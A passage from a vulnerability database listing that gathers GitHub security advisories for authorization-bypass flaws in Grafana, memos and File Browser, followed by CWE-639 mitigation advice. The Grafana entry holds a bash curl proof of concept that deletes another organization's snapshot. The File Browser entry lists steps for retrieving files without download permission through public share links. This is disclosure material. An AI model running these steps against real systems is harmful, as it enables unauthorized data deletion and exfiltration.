          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-05T19:29:10Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe ***DELETE /api/snapshots/{key}*** endpoint allows any Grafana user to delete snapshots if the user is NOT in the organization of the snapshot\n\n\n### Details\nAn attacker (a user without organization affiliation or with a \"no basic role\" in an organization other than the one where the dashboard exists), knowing the key or URL of a snapshot created by any user (including Grafana admins), can delete a snapshot (It is not feasible using UI), resulting in a BOLA vulnerability. \nIf an attacker is in the same organization of the dashboard snapshot, he can\u2019t delete the snapshot. However, an attacker with low-privilege from a different organization would be able to delete it, resulting in the authorization flaw. \n\n![Screenshot 2024-01-19 at 3 50 23\u202fPM](https://user-images.githubusercontent.com/58054904/298194695-bea8ab57-8504-4f5d-9468-cef7acf8622b.png)\n\n### Precondition\nTo exploit this endpoint, an attacker must know the {key} of a snapshot. The attacker can potentially discover this key in various ways.\n\nWhen [creating a snapshot through the API](https://grafana.com/docs/grafana/latest/developers/http_api/snapshot/), users can manually specify a key without any complexity requirements. This lack of complexity makes this key susceptible to brute force attacks. For example, simplistic keys such as \"customer_key_123\" or \"admin_snap\" can be easily guessed. These predictable keys allow low-privileged attackers to perform brute-force attacks using common keywords, potentially leading to compromised data integrity.\n\nIn addition, this key is displayed in plain text in the URL of a snapshot. This means that if a user publicly displays a snapshot, viewers might note down the key. Furthermore, since the snapshot feature is often used for sharing, displaying, and backing up data, a low-privileged attacker could potentially find snapshot keys in places like the organization\u0027s content management system, messaging platform, or shared documents.\n\n### PoC\n```\n#!/bin/bash -x\n\n# /snapshots/{key}: {\u0027delete\u0027: {\u0027success_status_code\u0027: 200, \u0027exec_paths\u0027: [\u0027post /snapshots\u0027]}}\n# 2d92c726-bf3c-4f20-b979-37bdf81d68c7\n\n# Authentication stage\n\n# User A - Grafana Admin\nuser_a_token=\"YWRtaW46YWRtaW4xMjM=\"\n\n# User B - User with no permissions , which is not part of any org\nuser_b_token=\"YmJiOmJiYmJiYmJiYg==\"\n\n# Create snapshot\ncurrent_date=$(date +%Y-%m-%d-%H-%M-%S)\nrandom_string=\"random-${current_date}\"\nsnapshot_data=\u0027{\"dashboard\":{\"annotations\":{\"list\":[{\"name\":\"Annotations \u0026 Alerts\",\"enable\":true,\"iconColor\":\"rgba(0, 211, 255, 1)\",\"snapshotData\":[],\"type\":\"dashboard\",\"builtIn\":1,\"hide\":true}]},\"editable\":true,\"fiscalYearStartMonth\":0,\"graphTooltip\":0,\"id\":1517,\"links\":[],\"liveNow\":false,\"panels\":[{\"aliasColors\":{},\"bars\":false,\"dashLength\":10,\"dashes\":false,\"datasource\":null,\"fill\":1,\"fillGradient\":0,\"gridPos\":{\"h\":7,\"w\":24,\"x\":0,\"y\":0},\"hiddenSeries\":false,\"id\":4,\"legend\":{\"alignAsTable\":true,\"avg\":false,\"current\":true,\"max\":false,\"min\":false,\"rightSide\":true,\"show\":true,\"total\":false,\"values\":true},\"lines\":true,\"linewidth\":1,\"links\":[],\"nullPointMode\":\"null\",\"options\":{\"alertThreshold\":true},\"percentage\":false,\"pluginVersion\":\"10.2.3\",\"pointradius\":2,\"points\":false,\"renderer\":\"flot\",\"seriesOverrides\":[],\"snapshotData\":[{\"fields\":[{\"config\":{},\"name\":\"time\",\"type\":\"time\",\"values\":[1704380420234,1704380420334,1704380420434,1704380420534,1704380420634,1704380420734,1704380420834,1704380566535,1704380566635,1704380566735,1704380566835,1704380566935,1704380567035,1704380567135,1704380567235,1704380567335,1704380567435,1704380567535,1704380567635,1704380567735,1704380567835,1704380567935,1704380568035,1704380568135,1704380568235,1704380568335,1704380568435,1704380568535,1704380568635,1704380568735,1704380568835,1704380568935,1704380569035,1704380569135,1704380569235,1704380569335,1704380569435,1704380569535,1704380569635,1704380569735,1704380569835,1704380569935,1704380570035,1704380570135,1704380570235,1704380570335,1704380570435,1704380570535,1704380570635,1704380570735,1704380570835,1704380570935,1704380571035,1704380571135,1704380571235,1704380571335,1704380571435,1704380571535,1704380571635,1704380571735,1704380571835,1704380571935,1704380572035,1704380572135,1704380572235,1704380572335,1704380572435,1704380572535,1704380572635,1704380572735,1704380572835,1704380572935,1704380573035,1704380573135,1704380573235,1704380573335,1704380573435,1704380573535,1704380573635,1704380573735,1704380573835,1704380573935,1704380574035,1704380574135,1704380574235,1704380574335,1704380574435,1704380574535,1704380574635,1704380574735,1704380574835,1704380574935,1704380575035,1704380575135,1704380575235,1704380575335,1704380575435,1704380575535,1704380575635,1704380575735,1704380575835,1704380575935,1704380576035,1704380576135,1704380576235,1704380576335,1704380576435,1704380576535,1704380576635,1704380576735,1704380576835,1704380576935,1704380577035,1704380577135,1704380577235,1704380577335,1704380577435,1704380577535,1704380577635,1704380577735,1704380577835,1704380577935,1704380578035,1704380578135,1704380578235,1704380578335,1704380578435,1704380578535,98.36651881887735,90.90520552302428,100.73967111022498,109.89826524946163,102.00960918579666,106.33530882778683,106.52629457166695,109.56323497328492,116.87832749309237,115.14116509660076,115.70457190523986,118.1091621354617,113.9144753018141,117.58351263310455,117.38409043570634,126.94212224196508,134.50552909930198,127.97490160986311,123.5784401639683,125.31012734609902,118.56171579412602,122.71596068271737,116.11258334902308,118.07532920254557,113.5755959893507,117.02863610131872,122.42991477107806,124.68121765645371,121.45599945829102,120.93643213038477,118.75961398984585,118.70214867496358,116.1085878323934,109.08837112411643,111.90652582288098,109.69360084697551,113.57752983270163,121.0455900847171,116.98257636596624,118.33231004235124,128.19430473604484,119.7539320116394,120.39948913692677,117.05787774775756,109.29564979026497,119.08806090022262,111.20930907183256,104.99629052804383,96.05550719780628,87.99845374253385,83.19203585736912,83.13916797842998,-70.53615047052016,-73.3850420187272]}],\"meta\":{},\"refId\":\"A\"}],\"spaceLength\":10,\"stack\":false,\"steppedLine\":false,\"targets\":[],\"thresholds\":[],\"timeRegions\":[],\"title\":\"Simple dummy streaming example\",\"tooltip\":{\"shared\":true,\"sort\":0,\"value_type\":\"individual\"},\"type\":\"graph\",\"xaxis\":{\"mode\":\"time\",\"show\":true,\"values\":[]},\"yaxes\":[{\"format\":\"short\",\"logBase\":1,\"show\":true},{\"format\":\"short\",\"logBase\":1,\"show\":true}],\"yaxis\":{\"align\":false}}],\"refresh\":\"\",\"schemaVersion\":39,\"snapshot\":{\"timestamp\":\"2024-01-04T15:03:04.128Z\"},\"tags\":[],\"templating\":{\"list\":[]},\"time\":{\"from\":\"2024-01-04T15:02:08.132Z\",\"to\":\"2024-01-04T15:03:08.132Z\",\"raw\":{\"from\":\"now-1m\",\"to\":\"now\"}},\"timepicker\":{\"refresh_intervals\":[\"5s\",\"10s\",\"30s\",\"1m\",\"5m\",\"15m\",\"30m\",\"1h\",\"2h\",\"1d\"],\"time_options\":[\"5m\",\"15m\",\"1h\",\"6h\",\"12h\",\"24h\",\"2d\",\"7d\",\"30d\"]},\"timezone\":\"\",\"title\":\"Simple Streaming Example Snapshot\",\"uid\":\"TXSTREZ\",\"version\":1,\"weekStart\":\"\"},\"name\":\"Simple Streaming Example Snapshot\", \"expires\":0, \"key\":\"admin_key\"}\u0027\n\ncreate_snapshot_response=$(curl -s -X POST \"http://localhost:3000/api/snapshots\" -H \"Authorization: Basic ${user_a_token}\" -H \"Content-Type: application/json\" -d \"${snapshot_data}\")\n\n# Extract key from create snapshot response\nkey=$(echo \"$create_snapshot_response\" | jq -r \u0027.key\u0027)\n\n# Delete snapshot\ndelete_snapshot_response=$(curl -s -X DELETE \"http://localhost:3000/api/snapshots/${key}\" -H \"Authorization: Basic ${user_b_token}\" -o /dev/null -w \"%{http_code}\")\n\n# Check if the test passed\nif [ \"$delete_snapshot_response\" -eq 200 ]; then\n  echo -e \"\\033[32mTest was passed, BOLA\\033[0m\"\nfi\n\n```\n\n",
  "id": "GHSA-67rv-qpw2-6qrr",
  "modified": "2024-11-18T16:26:39Z",
  "published": "2024-04-05T19:29:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grafana/bugbounty/security/advisories/GHSA-67rv-qpw2-6qrr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1313"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grafana/grafana"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/security/security-advisories/cve-2024-1313"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grafana: Users outside an organization can delete a snapshot with its key"
}

GHSA-68GW-R2X5-7R5R

Vulnerability from github – Published: 2022-12-23 12:30 – Updated: 2023-06-27 20:24
VLAI
Summary
usememos/memos Authorization Bypass Through User-Controlled Key vulnerability
Details

Authorization Bypass Through User-Controlled Key in GitHub repository usememos/memos prior to 0.9.0.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/usememos/memos"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-4686"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-30T16:27:38Z",
    "nvd_published_at": "2022-12-23T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Authorization Bypass Through User-Controlled Key in GitHub repository usememos/memos prior to 0.9.0.",
  "id": "GHSA-68gw-r2x5-7r5r",
  "modified": "2023-06-27T20:24:50Z",
  "published": "2022-12-23T12:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4686"
    },
    {
      "type": "WEB",
      "url": "https://github.com/usememos/memos/commit/dca35bde877aab6e64ef51b52e590b5d48f692f9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/usememos/memos"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/caa0b22c-501f-44eb-af65-65c315cd1637"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "usememos/memos Authorization Bypass Through User-Controlled Key vulnerability"
}

GHSA-68J5-4M99-W9W9

Vulnerability from github – Published: 2026-03-18 12:59 – Updated: 2026-03-20 21:16
VLAI
Summary
File Browser has an Authorization Policy Bypass in Public Share Download Flow
Details

Summary

A permission enforcement flaw allows users without download privileges (download=false) to still expose and retrieve file content via public share links when they retain share privileges (share=true). This bypasses intended access control policy and enables unauthorized data exfiltration to unauthenticated users. Where download restrictions are used for data-loss prevention or role separation.

Details

The backend applies inconsistent authorization checks across download paths:

As a result, a user who is blocked from direct downloads can create a share and obtain the same file via /api/public/dl/<hash>.

PoC

  1. Create a non-admin user with:
  2. perm.share = true
  3. perm.download = false

  4. Login as that user and upload a PDF file:

  5. POST /api/resources/nodl_secret_<rand>.pdf with Content-Type: application/pdf

  6. Verify direct raw download is denied:

  7. GET /api/raw/nodl_secret_<rand>.pdf
  8. Expected and observed: 202 Accepted (blocked)

  9. Create share for same file:

  10. POST /api/share/nodl_secret_<rand>.pdf
  11. Observed: 200, response includes hash (example: qxfK3JMG)

  12. Download publicly without authentication:

  13. GET /api/public/dl/<hash>
  14. Observed (vulnerable): 200, Content-Type: application/pdf, and PDF bytes are returned

Live evidence captured (March 1, 2026): - create user: 201 - create file: 200 - direct /api/raw: 202 Accepted - create share: 200 - public download /api/public/dl/mxK-ppZb: 200 - public download content-type: application/pdf - public download body length: 327 bytes

Impact

This is an access control / authorization policy bypass vulnerability.

  • Who can exploit: Any authenticated user granted share=true but denied download.
  • Who is impacted: Operators and organizations relying on download restrictions to prevent data export.
  • What can happen: Restricted users can still distribute and retrieve files publicly, including unauthenticated access through share URLs.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "https://github.com/filebrowser/filebrowser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.61.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32761"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T12:59:12Z",
    "nvd_published_at": "2026-03-20T00:16:17Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA permission enforcement flaw allows users without download privileges (`download=false`) to still expose and retrieve file content via public share links when they retain share privileges (`share=true`). This bypasses intended access control policy and enables unauthorized data exfiltration to unauthenticated users. Where download restrictions are used for data-loss prevention or role separation.\n\n### Details\nThe backend applies inconsistent authorization checks across download paths:\n\n- Direct raw download correctly enforces `Perm.Download`:\n  - [[raw.go](https://github.com/filebrowser/filebrowser/blob/master/http/raw.go#82)](filebrowser/http/raw.go:82)\n- Share creation only enforces `Perm.Share`:\n  - [[share.go](https://github.com/filebrowser/filebrowser/blob/master/http/share.go#21)](filebrowser/http/share.go:21)\n- Public share/download handlers serve shared content without verifying owner `Perm.Download`:\n  - [public.go](https://github.com/filebrowser/filebrowser/blob/master/http/public.go#18)(filebrowser/http/public.go:18)\n  - [public.go](https://github.com/filebrowser/filebrowser/blob/master/http/public.go#116)(filebrowser/http/public.go:116)\n\nAs a result, a user who is blocked from direct downloads can create a share and obtain the same file via `/api/public/dl/\u003chash\u003e`.\n\n### PoC\n\n1. Create a non-admin user with:\n- `perm.share = true`\n- `perm.download = false`\n\n2. Login as that user and upload a **PDF** file:\n- `POST /api/resources/nodl_secret_\u003crand\u003e.pdf` with `Content-Type: application/pdf`\n\n3. Verify direct raw download is denied:\n- `GET /api/raw/nodl_secret_\u003crand\u003e.pdf`\n- Expected and observed: `202 Accepted` (blocked)\n\n4. Create share for same file:\n- `POST /api/share/nodl_secret_\u003crand\u003e.pdf`\n- Observed: `200`, response includes `hash` (example: `qxfK3JMG`)\n\n5. Download publicly without authentication:\n- `GET /api/public/dl/\u003chash\u003e`\n- Observed (vulnerable): `200`, `Content-Type: application/pdf`, and PDF bytes are returned\n\nLive evidence captured (March 1, 2026):\n- `create user`: `201`\n- `create file`: `200`\n- `direct /api/raw`: `202 Accepted`\n- `create share`: `200`\n- `public download /api/public/dl/mxK-ppZb`: `200`\n- `public download content-type`: `application/pdf`\n- `public download body length`: `327` bytes\n\n### Impact\nThis is an **access control / authorization policy bypass** vulnerability.\n\n- **Who can exploit:** Any authenticated user granted `share=true` but denied `download`.\n- **Who is impacted:** Operators and organizations relying on download restrictions to prevent data export.\n- **What can happen:** Restricted users can still distribute and retrieve files publicly, including unauthenticated access through share URLs.",
  "id": "GHSA-68j5-4m99-w9w9",
  "modified": "2026-03-20T21:16:13Z",
  "published": "2026-03-18T12:59:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-68j5-4m99-w9w9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32761"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/09a26166b4f79446e7174c017380f6db45444e32"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.62.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser has an Authorization Policy Bypass in Public Share Download Flow"
}

Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.